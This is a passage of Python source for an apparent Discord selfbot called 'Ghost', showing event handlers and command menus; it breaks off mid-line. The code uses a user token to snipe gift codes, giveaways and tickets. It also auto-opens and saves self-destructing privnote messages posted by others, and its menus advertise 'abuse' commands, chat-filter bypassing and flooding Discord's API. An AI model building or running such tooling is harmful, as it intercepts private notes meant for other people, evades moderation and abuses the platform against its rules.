embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.set_timestamp() embed.add_embed_field(name='User', value=relationship.user.name + "#" + relationship.user.discriminator, inline=False) embed.add_embed_field(name='ID', value=str(relationship.user.id), inline=False) webhook.add_embed(embed) response = webhook.execute() if isinstance(relationship.type, discord.RelationshipType.friend): print_detect("Removed Friend") print_sniper_info("User", relationship.user.name + "#" + relationship.user.discriminator) print_sniper_info("ID", relationship.user.id) if __friendsupdatewebhook__ != "": webhook = DiscordWebhook(url=__friendsupdatewebhook__) embed = DiscordEmbed(title='Removed Friend', color=__embedcolourraw__[1:]) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.set_timestamp() embed.add_embed_field(name='User', value=relationship.user.name + "#" + relationship.user.discriminator, inline=False) embed.add_embed_field(name='ID', value=str(relationship.user.id), inline=False) webhook.add_embed(embed) response = webhook.execute() @Ghost.event async def on_typing(channel, user, when): if __ghostloaded__: if isinstance(channel, discord.DMChannel): if __dmtypingdetect__: print_detect(f"DM Typing") print_sniper_info("User", user) if __sounds__: if str(sounddevice.query_devices()) != "": pygame.mixer.music.load(resource_path("sounds/notification.mp3")) pygame.mixer.music.play(1) send_notification("DM Typing", f"{user} is typing in their DMs.", 10) if __dmtypingwebhook__ != "": webhook = DiscordWebhook(url=__dmtypingwebhook__) embed = DiscordEmbed(title='DM Typing', color=__embedcolourraw__[1:]) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.set_timestamp() embed.add_embed_field(name='User', value=str(user), inline=False) embed.add_embed_field(name='ID', value=str(user.id), inline=False) embed.add_embed_field(name='When', value=str(when), inline=False) webhook.add_embed(embed) response = webhook.execute() @Ghost.event async def on_guild_channel_create(channel): if __ghostloaded__: if __ticketsniper__: if "ticket" in channel.name: if channel.guild.id not in __ignoredservers__["tickets"]: if str(channel.type).lower() != "category": request = requests.get(f"https://discord.com/api/channels/{channel.id}", headers={"Authorization": __token__, "User-Agent": get_random_user_agent()}) if request.status_code == 200: print_sniper("Ticket") try: print_sniper_info("Server", channel.guild.name) except: pass try: print_sniper_info("Channel", channel.name) except: pass if __sounds__: if str(sounddevice.query_devices()) != "": pygame.mixer.music.load(resource_path("sounds/notification.mp3")) pygame.mixer.music.play(1) send_notification("Ticket Sniper", f"{channel.name} was created in {channel.guild.name}.", 10) if __ticketswebhook__ != "": webhook = DiscordWebhook(url=__ticketswebhook__) embed = DiscordEmbed(title='Ticket', color=__embedcolourraw__[1:]) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.set_timestamp() try: embed.add_embed_field(name='Server', value=str(channel.guild.name), inline=False) except: pass try: embed.add_embed_field(name='Channel', value=str(channel.name), inline=False) except: pass webhook.add_embed(embed) response = webhook.execute() @Ghost.event async def on_message(message): if __ghostloaded__: messageSendTime = datetime.now() if message.author.id != Ghost.user.id: if afkMode: if isinstance(message.channel, discord.DMChannel): await message.channel.send(CONFIG["afkmode"]["replymessage"]) if __nitrosniper__: if "discord.gift/" in message.content: if message.guild.id not in __ignoredservers__["nitro"]: giftLink = "" code = "" for item in message.content.split(" "): if "discord.gift/" in item: giftLink = item code = giftLink.replace("discord.gift/", "") print_sniper("Nitro") print_sniper_info("Link", giftLink) print_sniper_info("Author", message.author) try: print_sniper_info("Server", message.guild.name) except: pass try: print_sniper_info("Channel", message.channel.name) except: pass nitroStatus = claim_nitro(code, __token__) print_sniper_info("Status", nitroStatus) print_sniper_info("Snipe Speed", str((datetime.now()-messageSendTime).total_seconds()) + "s") if __nitrowebhook__ != "": webhook = DiscordWebhook(url=__nitrowebhook__) embed = DiscordEmbed(title='Nitro Sniper', color=__embedcolourraw__[1:]) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.set_timestamp() embed.add_embed_field(name='Author', value=str(message.author), inline=False) embed.add_embed_field(name='Gift Link', value=giftLink, inline=False) embed.add_embed_field(name='Nitro Status', value=nitroStatus, inline=False) embed.add_embed_field(name='Jump to message', value=f"[Click Here!]({message.jump_url})", inline=False) webhook.add_embed(embed) response = webhook.execute() if nitroStatus == "Valid Code": if __sounds__: if str(sounddevice.query_devices()) != "": pygame.mixer.music.load(resource_path("sounds/notification.mp3")) pygame.mixer.music.play(1) send_notification("Nitro Sniper", "Sniped a nitro gift code!", 10) if __privnotesniper__: if "privnote.com/" in message.content: if message.guild.id not in __ignoredservers__["privnote"]: privnoteLink = "" fid = datetime.now().strftime("%m_%d_%Y-%H_%M_%S") for item in message.content.split(" "): if "privnote.com/" in item: privnoteLink = item print_sniper("Privnote") print_sniper_info("Link", privnoteLink) print_sniper_info("Author", message.author) try: print_sniper_info("Server", message.guild.name) except: pass try: print_sniper_info("Channel", message.channel.name) except: pass try: content = read_privnote(privnoteLink) file = open(f"privnote-saves/{fid}.txt", "w") file.write(f"Privnote sent by {message.author} in #{message.channel.name}, {message.guild.name}.\nSniped at {fid}.\n \n{content}") file.close() print_sniper_info("Content", content) if __sounds__: if str(sounddevice.query_devices()) != "": pygame.mixer.music.load(resource_path("sounds/notification.mp3")) pygame.mixer.music.play(1) send_notification("Privnote Sniper", "Sniped a privnote note!", 10) except: print_sniper_info("Failed", "Note already been read.") print_sniper_info("Snipe Speed", str((datetime.now()-messageSendTime).total_seconds()) + "s") if __privnotewebhook__ != "": webhook = DiscordWebhook(url=__privnotewebhook__) embed = DiscordEmbed(title='Privnote Sniper', color=__embedcolourraw__[1:]) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.set_timestamp() embed.add_embed_field(name='Author', value=str(message.author), inline=False) embed.add_embed_field(name='Privnote Link', value=privnoteLink, inline=False) try: embed.add_embed_field(name='Content', value=content, inline=False) except: embed.add_embed_field(name='Failed', value="Note already been read.", inline=False) embed.add_embed_field(name='Jump to message', value=f"[Click Here!]({message.jump_url})", inline=False) webhook.add_embed(embed) response = webhook.execute() if __giveawaysniper__: if message.embeds: messageEmbed = discord.Embed.to_dict(message.embeds[0]) if message.author.id in giveawayBots and message.author.bot: isGiveaway = False if message.embeds: if "giveaway" in str(messageEmbed).lower(): isGiveaway = True else: if "giveaway" in message.content.lower(): isGiveaway = True if isGiveaway: if message.guild.id not in __ignoredservers__["giveaways"]: embed = message.embeds[0].to_dict() prize = embed["author"]["name"] if "ban" in prize.lower() or "kick" in prize.lower() or "mute" in prize.lower() or "punish" in prize.lower(): print_sniper("Giveaway") print_sniper_info("Prize", prize) print_sniper_info("Skipped", "Sus prize.") try: print_sniper_info("Server", message.guild.name) except: pass try: print_sniper_info("Channel", message.channel.name) except: pass if __sounds__: if str(sounddevice.query_devices()) != "": pygame.mixer.music.load(resource_path("sounds/notification.mp3")) pygame.mixer.music.play(1) send_notification("Giveaway Sniper", f"Giveaway skipped because of sus prize.", 10) else: print_sniper("Giveaway") print_sniper_info("Prize", prize) try: print_sniper_info("Server", message.guild.name) except: pass try: print_sniper_info("Channel", message.channel.name) except: pass if __giveawaywebhook__ != "": webhook = DiscordWebhook(url=__giveawaywebhook__) embed = DiscordEmbed(title='Giveaway Sniper', description=f"Sniped a giveaway for `{prize}` in `{message.guild.name}`.", color=__embedcolourraw__[1:]) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.set_timestamp() webhook.add_embed(embed) response = webhook.execute() # if __giveawaysniperui__ == True: # def giveawayGUI(): # giveawayUi = tkinter.Tk() # giveawayUi.attributes('-topmost', True) # def addReactionForGiveaway(): # requests.put(f"https://discord.com/api/channels/{message.channel.id}/messages/{message.id}/reactions/%F0%9F%8E%89/@me", headers={"Authorization": __token__, "User-Agent": get_random_user_agent()}) # def closeGui(): # giveawayUi.destroy() # def joinGiveaway(): # print(f"{printSpaces} {fg.cYellow}Joined giveaway!") # addReactionForGiveaway() # closeGui() # giveawayUi.wm_title("Giveaway UI") # windowWidth = giveawayUi.winfo_reqwidth() # windowHeight = giveawayUi.winfo_reqheight() # positionRight = int(giveawayUi.winfo_screenwidth()/2 - windowWidth/2) # positionDown = int(giveawayUi.winfo_screenheight()/2 - windowHeight/2) # giveawayUi.geometry("+{}+{}".format(positionRight, positionDown)) # tkinter.Label(giveawayUi, text=" ").pack() # mainLabel = tkinter.Label(giveawayUi, text="Would you like to join a giveaway for").pack() # prizeLabel = tkinter.Label(giveawayUi, text=prize).pack() # tkinter.Label(giveawayUi, text=" ").pack() # joinBtn = tkinter.Button(giveawayUi, text="Join", command=joinGiveaway, width=15, height=2, bg="green", fg="white").pack(side=tkinter.constants.LEFT) # cancelBtn = tkinter.Button(giveawayUi, text="Cancel", command=closeGui, width=15, height=2, bg="red", fg="white").pack(side=tkinter.constants.LEFT) # giveawayUi.mainloop() # giveawayGUI() # if __sounds__: # if str(sounddevice.query_devices()) != "": # pygame.mixer.music.load(resource_path("sounds/notification.mp3")) # pygame.mixer.music.play(1) # send_notification("Giveaway Sniper", f"Sniped a giveaway for {prize}.", 10) # if __giveawaywebhook__ != "": # webhook = DiscordWebhook(url=__giveawaywebhook__) # embed = DiscordEmbed(title='Giveaway Sniper', description=f"Joined a giveaway for `{prize}` after pressing join in Giveaway UI.", color=__embedcolourraw__[1:]) # embed.set_thumbnail(url=__embedimage__) # embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) # embed.set_timestamp() # embed.add_embed_field(name='Prize', value=prize, inline=False) # embed.add_embed_field(name='Joined After', value=f"Pressing join in Giveaway UI.", inline=False) # embed.add_embed_field(name='Jump to message', value=f"[Click Here!]({message.jump_url})", inline=False) # webhook.add_embed(embed) # response = webhook.execute() # else: pygame.mixer.music.load(resource_path("sounds/notification.mp3")) pygame.mixer.music.play(1) send_notification("Giveaway Sniper", f"Sniped a giveaway for {prize}.", 10) await asyncio.sleep(__giveawayjoindelay__) emoji = GIVEAWAYBOTS[str(message.author.id)] await message.add_reaction(emoji) if __giveawaywebhook__ != "": webhook = DiscordWebhook(url=__giveawaywebhook__) embed = DiscordEmbed(title='Giveaway Sniper', description=f"Joined a giveaway for `{prize}` after `{__giveawayjoindelay__}` seconds.", color=__embedcolourraw__[1:]) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.set_timestamp() webhook.add_embed(embed) response = webhook.execute() print_sniper("Giveaway") print_sniper_info("Prize", prize) try: print_sniper_info("Server", message.guild.name) except: pass try: print_sniper_info("Channel", message.channel.name) except: pass print_sniper_info("Joined after", f"{__giveawayjoindelay__} seconds.") send_notification("Giveaway Sniper", f"Joined a giveaway for {prize}.", 10) pygame.mixer.music.load(resource_path("sounds/notification.mp3")) pygame.mixer.music.play(1) # if "congratulations" in message.content.lower(): # if f"<@{Ghost.user.id}>" in message.content.lower(): # prize = message.content.split("!")[1].split("**")[1] # print_sniper("Giveaway") # print(f" {fg.cYellow}You won!!!") # print_sniper_info("Prize", prize) # try: # print_sniper_info("Server", message.guild.name) # except: # pass # try: # print_sniper_info("Channel", message.channel.name) # except: # pass # if __giveawaywebhook__ != "": # webhook = DiscordWebhook(url=__giveawaywebhook__) # embed = DiscordEmbed(title='Giveaway Sniper', description=f"You won a giveaway for `{prize}`!", color=__embedcolourraw__[1:]) # embed.set_thumbnail(url=__embedimage__) # embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) # embed.set_timestamp() # webhook.add_embed(embed) # response = webhook.execute() # send_notification("Giveaway Sniper", f"You won a giveaway for {prize} 🎉!", 10) # if __sounds__: # if str(sounddevice.query_devices()) != "": # pygame.mixer.music.load(resource_path("sounds/giveaway-win.mp3")) # pygame.mixer.music.play(1) if __selfbotdetect__: if not message.author.bot: if message.embeds: if "http" not in message.content: if message.guild.id not in __ignoredservers__["selfbots"]: print_detect("Selfbot") print_sniper_info("Author", message.author) try: print_sniper_info("Server", message.guild.name) except: pass try: print_sniper_info("Channel", message.channel.name) except: pass print_sniper_info("Reason", "Sent an embedded message.") if __selfbotwebhook__ != "": webhook = DiscordWebhook(url=__selfbotwebhook__) embed = DiscordEmbed(title='Selfbot', color=__embedcolourraw__[1:]) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.set_timestamp() embed.add_embed_field(name='Author', value=str(message.author), inline=False) try: embed.add_embed_field(name='Server', value=str(message.guild.name), inline=False) except: pass try: embed.add_embed_field(name='Channel', value=str(message.channel.name), inline=False) except: pass embed.add_embed_field(name='Reason', value="Sent an embedded message.", inline=False) webhook.add_embed(embed) response = webhook.execute() if message.author.id == Ghost.user.id: ccmd = json.load(open("customcommands.json")) for key in ccmd: cmd = key response = ccmd[key] if message.content == f"{__prefix__}{cmd}": print_cmd(f"{cmd}") try: await message.delete() except: pass response = response.replace("{currenttime}", str(datetime.now().strftime("%H:%M:%S"))) response = response.replace("{currentdate}", str(datetime.now().strftime("%d/%m/%Y"))) response = response.replace("{version}", str(version)) response = response.replace("{prefix}", str(__prefix__)) response = response.replace("{theme}", str(__theme__)) response = response.replace("{randomint}", str(random.randint(1000, 9999))) response = response.replace("{randomstring}", str(''.join(random.choice(string.ascii_letters) for i in range(8)))) await message.channel.send(response) if (uwuifyEnabled): if (not message.content.startswith(__prefix__) or message.content == "" or message.content == None): uwuedMessage = uwuify.uwu(message.content) await message.edit(content=uwuedMessage) #print(str(message.author) + " : " + str(message.content)) await Ghost.process_commands(message) for filename in os.listdir('scripts/'): if filename.endswith('.py'): include(f'scripts/{filename}') @Ghost.command(name="scripts", description="Display all custom scripts.", usage="scripts", aliases=["customscripts"]) async def scripts(ctx): totalscripts = len(os.listdir('scripts/')) text = "" for script in os.listdir('scripts/'): if script.endswith('.py'): script = script.replace(".py", "") text += f"{script}\n" if __embedmode__: embed = discord.Embed(title=f"{__embedemoji__} **{__embedtitle__}** {__embedemoji__}", description=f"Found {totalscripts} custom scripts", color=__embedcolour__) embed.add_field(name="Scripts", value=text) embed.set_author(name="Custom Scripts") embed.set_thumbnail(url=__embedimage__) embed.set_image(url=__embedlargeimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Custom Scripts ] Found {totalscripts} custom scripts {text} # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="customcommands", description="Display all custom commands.", usage="customcommands", aliases=["ccmds"]) async def customcommands(ctx): totalcmds = len(ccmd) ccmd2 = "" for key in ccmd: cmd = key ccmd2 = ccmd2 + f"{__prefix__}{cmd}\n" if __embedmode__: embed = discord.Embed(title=f"{__embedemoji__} **{__embedtitle__}** {__embedemoji__}", color=__embedcolour__, description=f"Found {totalcmds} custom commands.") embed.add_field(name="Commands", value=ccmd2) embed.set_author(name="Custom Commands") embed.set_thumbnail(url=__embedimage__) embed.set_image(url=__embedlargeimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Custom Commands ] Found {totalcmds} custom commands. {ccmd2} {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="allcmds", description="Print a list of all the commands.", usage="allcmds", aliases=["features"]) async def allcmds(ctx): await ctx.message.delete() content = "" totalCommands = len(Ghost.commands) for command in Ghost.commands: content += f"{command.usage} : {command.description}\n" file = open("data/features.txt", "w") file.write(f"[All Commands]\nTotal Commands: {totalCommands}\n \n" + content) file.close() os.system("notepad data/features.txt") @Ghost.command(name="search", description="Search for commands.", usage="search [term]") async def search(ctx, *, command = None): if command is None: if __embedmode__: embed = discord.Embed(title=f"{__embedemoji__} **{__embedtitle__}** {__embedemoji__}", color=__embedcolour__, description="Please enter a command to search for.") embed.set_author(name="Search") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.set_image(url=__embedlargeimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Search ] Please enter a command to search for. # {__embedfooter__} ```""", delete_after=__deletetimeout__) else: text = "" text2 = "" searchedItems = 0 for cmd in Ghost.commands: if command in cmd.name or command in cmd.description or command in cmd.aliases: searchedItems += 1 text += f"`{Ghost.command_prefix}`**{cmd.usage}** » {cmd.description}\n" text2 += f"{Ghost.command_prefix}{cmd.usage} » {cmd.description}\n" try: if __embedmode__: embed = discord.Embed(title=f"Search results...", description=f"Found `{searchedItems}` items for `{command}`.\n\n{text}", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.set_image(url=__embedlargeimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Searched for {command} ] {text2} # {__embedfooter__}```""", delete_after=__deletetimeout__) except: if __embedmode__: embed = discord.Embed(title=f"Check console for search results", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.set_image(url=__embedlargeimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Check console for search results ] # {__embedfooter__}```""", delete_after=__deletetimeout__) print(f"[ Search results for {command} ]\n{text2}") @Ghost.command(name="help", description="The help command.", usage="help (command)", aliases=["cmds", "commands"]) async def help(ctx, *, command = None): totalcmds = len(Ghost.commands)-len(scriptsList) if command is None: if __embedmode__: embed = discord.Embed(title=f"{__embedemoji__} **{__embedtitle__}** {__embedemoji__}", color=__embedcolour__, description=f""" Arguments in `[]` are required, arguments in `()` are optional. `{Ghost.command_prefix}`**text (page 1/2)** » Text commands. `{Ghost.command_prefix}`**fun (page 1)** » Fun commands. `{Ghost.command_prefix}`**image (page 1)** » Image commands. `{Ghost.command_prefix}`**moderation (page 1)** » Moderation commands. `{Ghost.command_prefix}`**info (page 1)** » Info commands. `{Ghost.command_prefix}`**user (page 1)** » User commands. `{Ghost.command_prefix}`**selfbot (page 1)** » Selfbot commands. `{Ghost.command_prefix}`**webhook (page 1)** » Webhook commands. `{Ghost.command_prefix}`**abuse (page 1)** » Abuse commands. `{Ghost.command_prefix}`**themes (page 1)** » Theme commands. `{Ghost.command_prefix}`**giveaway (page 1)** » Giveaway commands. `{Ghost.command_prefix}`**nsfw (page 1)** » NSFW commands. `{Ghost.command_prefix}`**proxy (page 1)** » Proxy commands. `{Ghost.command_prefix}`**tools (page 1)** » Discord and other tools. `{Ghost.command_prefix}`**customcommands** » Your custom commands. `{Ghost.command_prefix}`**customscripts** » Your scripts. `{Ghost.command_prefix}`**search [term]** » Search for a command. `{Ghost.command_prefix}`**help (command)** » Help for a specific command. There is a total of `{totalcmds}` commands. """) embed.set_author(name="All Commands") embed.set_image(url=__embedlargeimage__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ {__embedtitle__} ] Arguments in [] are required, arguments in () are optional. {Ghost.command_prefix}text (page 1/2) » Text commands. {Ghost.command_prefix}fun (page 1) » Fun commands. {Ghost.command_prefix}image (page 1) » Image commands. {Ghost.command_prefix}moderation (page 1) » Moderation commands. {Ghost.command_prefix}info (page 1) » Info commands. {Ghost.command_prefix}user (page 1) » User commands. {Ghost.command_prefix}selfbot (page 1) » Selfbot commands. {Ghost.command_prefix}webhook (page 1) » Webhook commands. {Ghost.command_prefix}abuse (page 1) » Abuse commands. {Ghost.command_prefix}themes (page 1) » Theme commands. {Ghost.command_prefix}giveaway (page 1) » Giveaway commands. {Ghost.command_prefix}nsfw (page 1) » NSFW commands. {Ghost.command_prefix}proxy (page 1) » Proxy commands. {Ghost.command_prefix}tools (page 1) » Discord and other tools. {Ghost.command_prefix}customcommands » Your custom commands. {Ghost.command_prefix}customscripts » Your scripts. {Ghost.command_prefix}search [term] » Search for a command. {Ghost.command_prefix}help (command) » Help for a specific command. There is a total of {totalcmds} commands. # {__embedfooter__}```""", delete_after=__deletetimeout__) else: for cmd in Ghost.commands: if command == cmd.name or command in cmd.aliases: if not cmd.aliases: cmd.aliases.append("No aliases") if __embedmode__: embed = discord.Embed(title=f"{cmd.name}", color=__embedcolour__) embed.add_field(name="Usage", value=f"{cmd.usage}", inline=False) embed.add_field(name="Description", value=f"{cmd.description}", inline=False) embed.add_field(name="Aliases", value=', '.join(cmd.aliases)) embed.set_thumbnail(url=__embedimage__) embed.set_image(url=__embedlargeimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ {cmd.name} ] Usage: {cmd.usage} Description: {cmd.description} # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="themes", description="Theme related commands.", usage="themes") async def themes(ctx): themes = "" for theme in os.listdir("themes"): if theme.endswith(".json"): theme = theme.replace(".json", "") themes += f"{theme}\n" if __embedmode__: embed = discord.Embed(title=f"{__embedemoji__} **{__embedtitle__}** {__embedemoji__}", color=__embedcolour__) embed.add_field(name="Current Theme", value=f"{__theme__}", inline=False) embed.add_field(name="Other Themes", value=f"{themes}", inline=False) embed.add_field(name="Commands", value=f"`{Ghost.command_prefix}`**newtheme [name]** » Create a new theme with the given name.\n`{Ghost.command_prefix}`**deltheme [name]** » Delete the named theme.\n`{Ghost.command_prefix}`**theme [theme]** » Change your current theme.\n`{Ghost.command_prefix}`**ctheme** » Community themes.", inline=False) embed.set_author(name="Theme Commands") embed.set_thumbnail(url=__embedimage__) embed.set_image(url=__embedlargeimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Theme Commands ] Current Theme: {__theme__} [ Other Themes ] {themes} [ Commands ] {Ghost.command_prefix}newtheme [name] » Create a new theme with the given name. {Ghost.command_prefix}deltheme [name] » Delete the named theme. {Ghost.command_prefix}theme [theme] » Change your current theme. {Ghost.command_prefix}cthemes » Community themes. # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="ctheme", description="Community themes.", usage="ctheme", aliases=["communitythemes", "cloudthemes", "cthemes"]) async def ctheme(ctx, *, dl = None): if dl is None: url = "https://raw.githubusercontent.com/GhostSelfbot/Community-Themes/main/themes.txt" themes = requests.get(url).text.split("\n") if __embedmode__: embed = discord.Embed(title=f"{__embedemoji__} **{__embedtitle__}** {__embedemoji__}", description=f"Community Themes, run `{Ghost.command_prefix}ctheme (theme name)` to download the theme.\n ", color=__embedcolour__) embed.add_field(name="Theme List", value='\n'.join(themes)) embed.set_author(name="Community Themes") embed.set_thumbnail(url=__embedimage__) embed.set_image(url=__embedlargeimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Community Themes ] Community Themes, run {Ghost.command_prefix}ctheme (theme name) to download the theme. [ Theme List ] {themes} # {__embedfooter__}```""", delete_after=__deletetimeout__) else: request = requests.get("https://raw.githubusercontent.com/GhostSelfbot/Community-Themes/main/themes.txt") themes = [] for line in request.text.split("\n"): themes.append(line.replace("\r", "")) print(themes) print(dl) if dl in themes: url = f'https://raw.githubusercontent.com/GhostSelfbot/Community-Themes/main/{dl}.json' data = requests.get(url, allow_redirects=True) open(f'themes/{dl}.json', 'wb').write(data.content) if __embedmode__: embed = discord.Embed(title="Theme downloaded successfully", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_image(url=__embedlargeimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Theme downloaded successfully ] # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="text", description="Text related commands.", usage="text (page)") async def text(ctx, page:int = 1): if __embedmode__: if page == 1: embed = discord.Embed(title=f"{__embedemoji__} **{__embedtitle__}** {__embedemoji__}", color=__embedcolour__, description=f""" `{Ghost.command_prefix}`**js [message]** » Send all your messages in a JavaScript code block. `{Ghost.command_prefix}`**lua [message]** » Send all your messages in a Lua code block. `{Ghost.command_prefix}`**php [message]** » Send all your messages in a PHP code block. `{Ghost.command_prefix}`**html [message]** » Send all your messages in a HTML code block. `{Ghost.command_prefix}`**css [message]** » Send all your messages in a CSS code block. `{Ghost.command_prefix}`**yaml [message]** » Send all your messages in a YAML code block. `{Ghost.command_prefix}`**json [message]** » Send all your messages in a JSON code block. `{Ghost.command_prefix}`**cpp [message]** » Send all your messages in a C++ code block. `{Ghost.command_prefix}`**cs [message]** » Send all your messages in a C# code block. `{Ghost.command_prefix}`**java [message]** » Send all your messages in a Java code block. `{Ghost.command_prefix}`**python [message]** » Send all your messages in a Python code block. `{Ghost.command_prefix}`**secret [message]** » Send all your messages in a secret block. `{Ghost.command_prefix}`**secretletters [message]** » Put all lettes from your message into separate secret blocks `{Ghost.command_prefix}`**regional [message]** » Replace all letters with emoji. `{Ghost.command_prefix}`**bold [message]** » Send all your messages in bold. `{Ghost.command_prefix}`**italic [message]** » Send all your messages in italics. """) embed.set_author(name="Text Commands (1/2)") embed.set_thumbnail(url=__embedimage__) embed.set_image(url=__embedlargeimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) elif page == 2: embed = discord.Embed(title=f"{__embedemoji__} **{__embedtitle__}** {__embedemoji__}", color=__embedcolour__, description=f""" `{Ghost.command_prefix}`**rembed (delay) [title]** » Kill Discord's API with a sexy rainbow embedded message. `{Ghost.command_prefix}`**cembed [title] [description] [colour]** » Create a custom embedded message. `{Ghost.command_prefix}`**embed [title]** » Create an embedded message. `{Ghost.command_prefix}`**suggest [suggestion]** » Suggest something. `{Ghost.command_prefix}`**privatemsg [message]** » Send an encrypted message. `{Ghost.command_prefix}`**privatemsgdecode [message]** » Decode an encrypted message. `{Ghost.command_prefix}`**blank** » Send a blank message `{Ghost.command_prefix}`**length [string]** » Get the length of a string. `{Ghost.command_prefix}`**chatbypass [text]** » Bypass chat language restrictions. `{Ghost.command_prefix}`**shrug** » Shrug your arms. `{Ghost.command_prefix}`**tableflip** » Flip the table. `{Ghost.command_prefix}`**unflip** » Put the table back. `{Ghost.command_prefix}`**lmgtfy [search]** » Let me Google that for you. `{Ghost.command_prefix}`**typing [start/stop]** » Start or stop typing. `{Ghost.command_prefix}`**aesthetic [text]** » Send your text s p a c e d out. `{Ghost.command_prefix}`**lowercase [msg]** » Send your message in lowercase. `{Ghost.command_prefix}`**uppercase [msg]** » Send your message in uppercase. `{Ghost.command_prefix}`**sentencecase [msg]** » Send your messages in sentence case. `{Ghost.command_prefix}`**ascii [text]** » Send your message in ascii. `{Ghost.command_prefix}`**zalgo [text]** » Unleash the zalgo into your message. `{Ghost.command_prefix}`**leet [text]** » Turn your text into 1337 text. `{Ghost.command_prefix}`**fakeedited [message]** » "Edit" a message. """) embed.set_author(name="Text Commands (2/2)") embed.set_thumbnail(url=__embedimage__) embed.set_image(url=__embedlargeimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: pass else: if page == 1: await ctx.send(f"""```ini [ Text Commands (1/2) ] {Ghost.command_prefix}js [message] » Send all your messages in a JavaScript code block. {Ghost.command_prefix}lua [message] » Send all your messages in a Lua code block. {Ghost.command_prefix}php [message] » Send all your messages in a PHP code block. {Ghost.command_prefix}html [message] » Send all your messages in a HTML code block. {Ghost.command_prefix}css [message] » Send all your messages in a CSS code block. {Ghost.command_prefix}yaml [message] » Send all your messages in a YAML code block. {Ghost.command_prefix}json [message] » Send all your messages in a JSON code block. {Ghost.command_prefix}cpp [message] » Send all your messages in a C++ code block. {Ghost.command_prefix}cs [message] » Send all your messages in a C# code block. {Ghost.command_prefix}java [message] » Send all your messages in a Java code block. {Ghost.command_prefix}python [message] » Send all your messages in a Python code block. {Ghost.command_prefix}secret [message] » Send all your messages in a secret block. {Ghost.command_prefix}secretletters [message] » Put all lettes from your message into separate secret blocks {Ghost.command_prefix}regional [message] » Replace all letters with emoji. {Ghost.command_prefix}bold [message] » Send all your messages in bold. {Ghost.command_prefix}italic [message] » Send all your messages in italics. # {__embedfooter__}```""", delete_after=__deletetimeout__) elif page == 2: await ctx.send(f"""```ini [ Text Commands (2/2) ] {Ghost.command_prefix}rembed (delay) [title] » Kill Discord's API with a sexy rainbow embedded message. {Ghost.command_prefix}cembed [title] [description] [colour] » Create a custom embedded message. {Ghost.command_prefix}embed [title] » Create an embedded message. {Ghost.command_prefix}suggest [suggestion] » Suggest something. {Ghost.command_prefix}privatemsg [message] » Send an encrypted message. {Ghost.command_prefix}privatemsgdecode [message] » Decode an encrypted message. {Ghost.command_prefix}blank » Send a blank message {Ghost.command_prefix}length [string] » Get the length of a string. {Ghost.command_prefix}chatbypass [text] » Bypass chat language restrictions. {Ghost.command_prefix}shrug » Shrug your arms. {Ghost.command_prefix}tableflip » Flip the table. {Ghost.command_prefix}unflip » Put the table back. {Ghost.command_prefix}lmgtfy [search] » Let me Google that for you. {Ghost.command_prefix}typing [start/stop] » Start or stop typing. {Ghost.command_prefix}aesthetic [text] » Send your text s p a c e 